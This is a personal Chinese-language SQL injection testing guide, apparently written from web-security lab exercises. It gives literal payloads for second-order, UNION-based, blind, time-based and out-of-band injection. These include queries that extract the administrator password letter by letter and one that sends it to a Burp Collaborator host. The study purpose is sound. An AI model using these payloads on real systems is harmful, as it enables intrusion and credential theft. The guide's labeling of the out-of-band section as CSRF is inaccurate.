###### tags: `My own testing guide` # SQL injection ### 1. Second-order SQL injection **大概念為先在資料庫以合理的方式存入資料<font color=red>(EX:註冊帳號)</font>,但此帳號資訊非一般資訊,<font color=red>此帳號需夾帶特定參數來使往後資料庫需取用此份資料時會誤用</font>。因此可利用此錯誤來騙資料庫你就是原本的使用者,近一步利用。** - 第一步: 先確認前端輸入頁面可能有擋 ![](https://i.imgur.com/tKqaGYr.png) - 第二步: 註冊一個惡意使用者的名稱,此部份不會被擋因為大多數這裡皆被視為字串。 ![](https://i.imgur.com/hwW48xX.png) - 第三步: 確認已註冊成功 ![](https://i.imgur.com/sOrcscn.png) - 第四步: 登入惡意帳號並開始嘗試更改密碼得功能 ![](https://i.imgur.com/X6CGfpU.png) - 第五步: 更改成功,且騙過資料庫我是另一個使用者。 ![](https://i.imgur.com/lbwEepp.png) - **<font color=orange>滲透成功解釋</font>:** *SQL背後語法:* `update users SET password="$new password" WHERE username="$user" AND password="$password" ;` *注入後的語法:* `update users SET password="$new password" WHERE username='[admin' --](後面可以忽略) and password='$password' ;` #### <font color=red>前端有擋但重點是要驗證資料庫送來的東西</font> --- ### 2.Boolean-Based SQLi - **輸入資料庫語法執行<font color=red>1=1為TRUE</font>的恆TRUE搜尋。** 測試語法:`'+OR+1=1--` ![](https://i.imgur.com/Rg0kId7.png) --- ### 3. UNION-Based SQLi - **輸入資料庫語法執行<font color=red>**UNION select NULL, NULL**</font>,聯合搜索其他COLOUMN的資料。以下有兩種方法舉例,能找出此table的coloumn數量。** 1. 使用NULL的方法正面列舉COLOUMN數量,數量不對皆會出現ERROR,等到數量對就會過。 測試語法:`'UNION select NULL, NULL, NUULL--`(記得要URL編碼) ![](https://i.imgur.com/MqSuert.png) </br> ![](https://i.imgur.com/RKdZZEB.png) </br> </br> 2. 使用ORDER BY語法,讓資料庫針對COLOUMN的內容去做排序,假設出現error代表沒有那個數量的coloumn。 測試語法:`' ORDER BY 1`(記得要URL編碼) ![](https://i.imgur.com/7E97bYo.png) </br> ![](https://i.imgur.com/YIvBEcN.png) </br> - **輸入資料庫語法執行<font color=red>UNION select 'a', NULL, NULL--</font>,可以用來確認此coloumn是否有此項目。若是有,代表此coloumn的資料型態為string。** 測試語法:`'UNION select NULL, 'a', NULL--` ![](https://i.imgur.com/9zHrsza.png) </br> ![](https://i.imgur.com/xG4ygAN.png) </br> - **輸入資料庫語法執行<font color=red>UNION select (想要找的coloumn名), (想要找的coloumn名) from (這些coloumn所在的table)</font>**,可拉出其他table的資料。<font color=red>**但要記得後面的coloumn數量要跟前面的一樣,不然會有error。**</font> 測試語法:`UNION select NULL, password from users` </br> ![](https://i.imgur.com/pBqVXN9.png) - **輸入資料庫語法執行<font color=red>UNION select (想要找得coloumn名稱), (想要找的coloumn名稱)| | (想要找的coloumn) from (想要找的coloumn所在的table)。</font>** 特別注意中間的分隔符號會依據不同的資料庫會有不同的表示方法。 1. 先找出資料庫版本: 參考與法網站:[SQLi cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) 測試語法:`'UNION select NULL, version()--` ![](https://i.imgur.com/qw4rxgC.png) </br> 1. 再依據資料庫種類使用分隔符號: 測試語法:`UNION select NULL, username || '*' || password from users` ![](https://i.imgur.com/dKN2JWa.png) </br> #### Information-schema搭配UNION-BASED SQLI - 使用Information schema能查找資料庫總攬資料,因此透過UNION based SQLi 搭配 information schema可查找出許多需要的資料。 1. 先找出各個資料庫要查閱Information schema時需要的語法。 參考位置:[SQLi cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) ![](https://i.imgur.com/es7VTPc.png) 1. <font color=red>要確認每種資料庫中的Information schema的語法</font> 參考資料:[PostGRES SQL](https://www.postgresql.org/docs/current/infoschema-columns.html) </br> #### ALL-TABLES搭配UNION-BASED SQLI - 在ORACLE資料庫中,沒有Information schema只有另一種東西叫ALL-TABLES。 參考位置:[SQLi cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) ![](https://i.imgur.com/LTiUFAe.png)</br> <font color=red>**特別注意ORACLE資料庫中的SELECT指令後面一定要跟著FROM哪個位置,因此若有SELECT指令後面無東西接上,可以直接使用"FROM dual"執行無特別取用位置的指令。**</font> --- ### Blind-based SQLi SQLi的注入點不一定每一次都噴錯給我們看,有時只會顯示正常的200或不正確的500給我們(這些一般來說都是正常行為)。因此Blind-Based的核心測法就是<font color=red>**故意輸入正確及錯誤的資料庫語法來確認後端的資料庫是否會有動靜。如果輸入正確及錯誤的語法會分別有不同反應,那代表這個注入點是可以被資料庫執行的。**</font> </br> - 整體測試步驟如下: 1. <font color=blue>Confirm the parameter is vulnerable to SQLi:</font> 測試語法1:`' and 1=1--`--->會是正常顯示結果 測試語法2:`' and 1=2--`--->會有地方顯示不對 2. <font color=blue>Confirm we have a users table</font>: 測試語法:`' and (select 'x' from users LIMIT 1)='x'--`--->如果真的有users這個table存在,那就會顯示正常頁面。 3. <font color=blue>Confirm the user administrator is there in the users table</font> 測試語法:`' and (select username from users where username='administrator')='administrator'--`--->如果真的能從users table 裡面抓出administrator這個使用者名稱的話,那就會返回正常得頁面。 4. <font color=blue>Enumerate the administrator password </font> 測試語法1:`' and (select password from users where username='administrator')='asasasas'--`--->這是純猜測的測試,不可能這樣做。應該改成以下方式做暴力猜測。 </br> - 暴力猜測步驟1:<font color=red>先決定密碼長度</font> 測試語法:`' and (select username from users where username='administrator' and LENGTH(password)>1)='administrator'--`--->從語法來看,如果administrator的密碼長度大於1,那前面那個就會提出administrator字串會跟後面的administrator字串相等所以會回復正常頁面。<font color=red>**特別注意,可以用此方法嘗試>不同的數字來確認密碼長度(Intruder測試)。**</font> - 暴力猜測步驟2: <font color=red>一個個嘗試字是否正確</font> 測試語法:`' and (select substring(password,$1$,1) from users where username='administrator')='$a$'--`--->從語法來看,substring是用來擷取字串,所以這邊就是擷取password得第一個字,所以判斷administrator得password的第一個字串是否為a,若是的話就會返回正常頁面。<font color=red>**特別注意,可以用此方法嘗試在$符號那邊用intruder測試不同位置的密碼字幅。**</font> </br> #### 用Time-based SQLI搭配Bind-based SQLI做注射 - 整體測試步驟如下: 1. <font color=blue>Confirm the parameter is vulnerable to SQLi:</font> 測試語法1:`'|| pg_sleep(10)--`--->此command用在Postgres DB 1. <font color=blue>Confirm we have a users table</font>: 測試語法1.:`' || (select case when (1=1) then pg_sleep(10) else pg_sleep(-1) end)--`--->此語法可以解釋成若1=1這個條件為true的話,那就sleep如果較為false的話就pg_sleep(-1)(就是代表不睡)。因此: 測試語法2:`' || (select case when (username='administrator) then sleep(10) else pg_sleep(-1) end from users)--'`--->此語法就是在檢測資料庫是否存在users這個table且裡面是否有administrator這個帳號。 1. <font color=blue>Enumerate the password length</font> 測試語法1:`' || (select case when (username='administrator' and LENGTH(password)>$1$) then pg_sleep(10) else pg_sleep(-1) end from users)--`--->在$這邊可以做更改。丟到Intruder做測試,看返回的狀態。 1. <font color=blue>Enumerate the administrator password</font> 測試語法:`' || (select case when (username='administrator' and substring(password,$1$,1)='$a$') then pg_sleep(3) else pg_sleep(-1) end from users)--`--->此語法檢查密碼字元,若每個密碼字元得回復時間變長,那我們就能從回覆時間確認此字元是否為正確。 </br> #### BLind-Based SQLi 搭配 CSRF 有些注入點雖然不外表露錯誤或頁面變更,但若使其作DB的DNS查找,是可以從外部的server搜尋到受害的DB正在進行DNS查找。 - 整體測試步驟如下: 1. <font color=blue>Confirm the parameter is vulnerable</font> 2. <font color=blue>輸入SQL查找語法:</font> 測試語法參考位置:[SQLi cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) 測試語法:`' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)--`--->FOR ORACLE ![](https://i.imgur.com/Z77eDub.png) 1. <font color=blue>pull down the password</font> 測試語法:`(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users where username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- ` ![](https://i.imgur.com/WHEWJdb.png)